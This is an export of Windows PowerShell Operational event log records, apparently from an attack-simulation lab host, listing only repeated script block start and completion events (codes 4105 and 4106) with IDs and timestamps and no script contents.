OpCode=On create calls
RecordNumber=2047364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047361
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047359
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047358
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047341
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047335
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047311
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
